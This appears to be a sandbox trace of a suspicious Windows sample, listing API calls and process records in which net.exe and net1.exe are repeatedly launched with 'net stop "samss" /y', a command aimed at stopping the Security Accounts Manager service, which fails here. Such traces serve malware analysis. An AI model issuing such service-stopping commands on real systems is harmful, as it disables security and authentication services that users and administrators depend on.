	[0170.686] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0170.686] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0170.686] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0170.686] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0170.686] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0170.686] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0170.686] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0170.686] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0170.686] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0170.686] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0170.686] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0170.687] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0170.687] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0170.687] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0170.687] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0170.687] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0170.687] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0170.687] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0170.687] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0170.687] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0170.687] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0170.687] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0170.687] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0170.687] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0170.687] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0170.687] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0170.688] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0170.688] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0170.688] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0170.688] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0170.688] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0170.688] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0170.688] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0170.688] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0170.688] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0170.688] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0170.688] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0170.688] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0170.688] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0170.689] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0170.689] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0170.689] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0170.689] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0170.689] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0170.689] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0170.689] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0170.689] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0170.689] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0170.689] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0170.689] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0170.689] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0170.689] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0170.689] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0170.690] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0170.690] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0170.690] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0170.690] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0170.691] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x48cdf0
	[0170.703] GetServiceKeyNameW (in: hSCManager=0x48cdf0, lpDisplayName="SAMSS", lpServiceName=0xffa05750, lpcchBuffer=0x28fbc8 | out: lpServiceName="", lpcchBuffer=0x28fbc8) returned 0
	[0170.852] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0170.852] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0170.853] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0170.853] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0170.853] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0170.853] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0170.853] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0170.853] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0170.853] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0170.853] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0170.853] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0170.853] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0170.853] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0170.853] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0170.854] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0170.854] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0170.854] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0170.854] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0170.854] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0170.854] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x28fbd0 | out: bufptr=0x28fbd0) returned 0x0
	[0170.859] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x28fb88 | out: Buffer=0x28fb88*=0x490c70) returned 0x0
	[0170.859] OpenServiceW (hSCManager=0x48cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x48ce50
	[0170.860] QueryServiceStatus (in: hService=0x48ce50, lpServiceStatus=0x28fb30 | out: lpServiceStatus=0x28fb30*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0170.860] NetApiBufferFree (Buffer=0x490c70) returned 0x0
	[0170.861] CloseServiceHandle (hSCObject=0x48ce50) returned 1
	[0170.861] wcscpy_s (in: _Destination=0xffa080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0170.861] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0170.863] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffa05b50, nSize=0x800, Arguments=0xffa07f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0170.867] GetFileType (hFile=0xb) returned 0x2
	[0170.868] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x28fa28 | out: lpMode=0x28fa28) returned 1
	[0170.869] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffa05b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x28fa20, lpReserved=0x0 | out: lpBuffer=0xffa05b50*, lpNumberOfCharsWritten=0x28fa20*=0x47) returned 1
	[0170.870] GetFileType (hFile=0xb) returned 0x2
	[0170.871] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x28fa28 | out: lpMode=0x28fa28) returned 1
	[0170.871] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff9e1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28fa20, lpReserved=0x0 | out: lpBuffer=0xff9e1efc*, lpNumberOfCharsWritten=0x28fa20*=0x2) returned 1
	[0170.872] _ultow (in: _Dest=0x88f, _Radix=2685584 | out: _Dest=0x88f) returned="2191"
	[0170.872] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffa05b50, nSize=0x800, Arguments=0xffa07f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0170.873] GetFileType (hFile=0xb) returned 0x2
	[0170.874] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x28fa28 | out: lpMode=0x28fa28) returned 1
	[0170.874] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffa05b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x28fa20, lpReserved=0x0 | out: lpBuffer=0xffa05b50*, lpNumberOfCharsWritten=0x28fa20*=0x34) returned 1
	[0170.875] GetFileType (hFile=0xb) returned 0x2
	[0170.876] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x28fa28 | out: lpMode=0x28fa28) returned 1
	[0170.877] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff9e1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28fa20, lpReserved=0x0 | out: lpBuffer=0xff9e1efc*, lpNumberOfCharsWritten=0x28fa20*=0x2) returned 1
	[0170.878] NetApiBufferFree (Buffer=0x484d40) returned 0x0
	[0170.878] NetApiBufferFree (Buffer=0x48c0e0) returned 0x0
	[0170.878] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0170.878] exit (_Code=2) 

Process:
	id = "38"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x4b9fc000"
	os_pid = "0xbd8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "11"
	os_parent_pid = "0x250"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005faf9" [0xc000000f]


Thread:
	id = 643
	os_tid = 0xb74


Thread:
	id = 644
	os_tid = 0x888


Thread:
	id = 645
	os_tid = 0x6f4


Thread:
	id = 646
	os_tid = 0xb38


Thread:
	id = 647
	os_tid = 0xbf4


Thread:
	id = 648
	os_tid = 0xbf0


Thread:
	id = 649
	os_tid = 0xbec


Thread:
	id = 650
	os_tid = 0xbe4


Thread:
	id = 651
	os_tid = 0xbe0


Thread:
	id = 652
	os_tid = 0xbdc


Thread:
	id = 2643
	os_tid = 0x2ec8


Process:
	id = "39"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x4acf7000"
	os_pid = "0xbb0"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e990"
	monitor_reason = "rpc_server"
	parent_id = "11"
	os_parent_pid = "0x250"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 653
	os_tid = 0x3b0


Thread:
	id = 654
	os_tid = 0xbd0


Thread:
	id = 655
	os_tid = 0xbcc


Thread:
	id = 656
	os_tid = 0xbc8


Thread:
	id = 657
	os_tid = 0xbc4


Thread:
	id = 658
	os_tid = 0xbbc


Thread:
	id = 659
	os_tid = 0xbb8


Thread:
	id = 660
	os_tid = 0xbb4


Thread:
	id = 2514
	os_tid = 0x2cac


Process:
	id = "40"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2a9c3000"
	os_pid = "0x1148"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 674
	os_tid = 0x114c


Process:
	id = "41"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x2ab19000"
	os_pid = "0x11e8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 708
	os_tid = 0x11ec


Process:
	id = "42"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x29d08000"
	os_pid = "0x11f8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "40"
	os_parent_pid = "0x1148"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 715
	os_tid = 0x11fc

	[0173.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fe50 | out: lpSystemTimeAsFileTime=0x16fe50*(dwLowDateTime=0x38026ad0, dwHighDateTime=0x1d5cdef)) 
	[0173.880] GetCurrentProcessId () returned 0x11f8
	[0173.880] GetCurrentThreadId () returned 0x11fc
	[0173.880] GetTickCount () returned 0x11714aa
	[0173.880] QueryPerformanceCounter (in: lpPerformanceCount=0x16fe58 | out: lpPerformanceCount=0x16fe58*=31563324397) returned 1
	[0173.883] GetModuleHandleW (lpModuleName=0x0) returned 0xff030000
	[0173.883] __set_app_type (_Type=0x1) 
	[0173.883] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff049c9c) returned 0x0
	[0173.883] __getmainargs (in: _Argc=0xff054780, _Argv=0xff054790, _Env=0xff054788, _DoWildCard=0, _StartInfo=0xff05479c | out: _Argc=0xff054780, _Argv=0xff054790, _Env=0xff054788) returned 0
	[0173.883] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0173.884] GetConsoleOutputCP () returned 0x1b5
	[0173.884] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff05cec0 | out: lpCPInfo=0xff05cec0) returned 1
	[0173.884] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0173.890] sprintf_s (in: _DstBuf=0x16fdf8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0173.891] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0173.895] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0173.895] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0173.896] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0173.896] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x16fb90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0173.896] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x6e) returned 0x28c060
	[0173.896] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0173.897] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x16fde8 | out: Buffer=0x16fde8*=0x284d40) returned 0x0
	[0173.897] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x16fde8 | out: Buffer=0x16fde8*=0x28c0e0) returned 0x0
	[0173.897] _fileno (_File=0x7fefe122a80) returned 0
	[0173.897] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0173.898] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0173.898] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0173.898] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0173.898] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0173.898] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0173.898] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0173.898] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0173.898] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0173.898] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0173.898] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0173.898] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0173.898] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0173.898] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0173.898] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0173.898] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0173.899] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0173.899] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0173.899] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0173.899] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0173.899] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0173.899] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0173.899] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0173.899] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0173.899] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0173.899] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0173.899] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0173.899] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0173.900] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0173.900] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0173.900] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0173.900] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0173.900] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0173.900] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0173.900] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0173.900] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0173.900] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0173.900] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0173.900] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0173.900] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0173.900] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0173.900] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0173.901] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0173.901] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0173.901] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0173.901] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0173.901] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0173.901] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0173.901] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0173.901] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0173.901] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0173.901] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0173.901] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0173.901] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0173.901] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0173.902] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0173.902] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0173.902] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0173.902] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0173.902] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0173.902] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0173.902] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0173.902] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0173.902] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0173.902] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0173.902] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0173.903] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0173.903] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x28cdf0
	[0174.208] GetServiceKeyNameW (in: hSCManager=0x28cdf0, lpDisplayName="SAMSS", lpServiceName=0xff055750, lpcchBuffer=0x16fd08 | out: lpServiceName="", lpcchBuffer=0x16fd08) returned 0
	[0174.211] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0174.211] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0174.211] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0174.211] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0174.211] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0174.211] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0174.211] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0174.211] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0174.212] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0174.212] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0174.212] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0174.212] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0174.212] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0174.212] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0174.212] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0174.212] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0174.212] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0174.212] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0174.212] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0174.213] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x16fd10 | out: bufptr=0x16fd10) returned 0x0
	[0174.218] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x16fcc8 | out: Buffer=0x16fcc8*=0x290c70) returned 0x0
	[0174.218] OpenServiceW (hSCManager=0x28cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x28ce50
	[0174.218] QueryServiceStatus (in: hService=0x28ce50, lpServiceStatus=0x16fc70 | out: lpServiceStatus=0x16fc70*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0174.219] NetApiBufferFree (Buffer=0x290c70) returned 0x0
	[0174.219] CloseServiceHandle (hSCObject=0x28ce50) returned 1
	[0174.220] wcscpy_s (in: _Destination=0xff0580d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0174.220] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0174.222] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff055b50, nSize=0x800, Arguments=0xff057f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0174.228] GetFileType (hFile=0xb) returned 0x2
	[0174.229] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16fb68 | out: lpMode=0x16fb68) returned 1
	[0174.229] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff055b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x16fb60, lpReserved=0x0 | out: lpBuffer=0xff055b50*, lpNumberOfCharsWritten=0x16fb60*=0x47) returned 1
	[0174.230] GetFileType (hFile=0xb) returned 0x2
	[0174.231] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16fb68 | out: lpMode=0x16fb68) returned 1
	[0174.232] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff031efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16fb60, lpReserved=0x0 | out: lpBuffer=0xff031efc*, lpNumberOfCharsWritten=0x16fb60*=0x2) returned 1
	[0174.233] _ultow (in: _Dest=0x88f, _Radix=1506256 | out: _Dest=0x88f) returned="2191"
	[0174.233] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff055b50, nSize=0x800, Arguments=0xff057f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0174.233] GetFileType (hFile=0xb) returned 0x2
	[0174.234] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16fb68 | out: lpMode=0x16fb68) returned 1
	[0174.235] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff055b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x16fb60, lpReserved=0x0 | out: lpBuffer=0xff055b50*, lpNumberOfCharsWritten=0x16fb60*=0x34) returned 1
	[0174.236] GetFileType (hFile=0xb) returned 0x2
	[0174.237] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x16fb68 | out: lpMode=0x16fb68) returned 1
	[0174.238] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff031efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x16fb60, lpReserved=0x0 | out: lpBuffer=0xff031efc*, lpNumberOfCharsWritten=0x16fb60*=0x2) returned 1
	[0174.239] NetApiBufferFree (Buffer=0x284d40) returned 0x0
	[0174.239] NetApiBufferFree (Buffer=0x28c0e0) returned 0x0
	[0174.239] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0174.239] exit (_Code=2) 

Process:
	id = "43"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x29ca1000"
	os_pid = "0x12b0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "41"
	os_parent_pid = "0x11e8"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
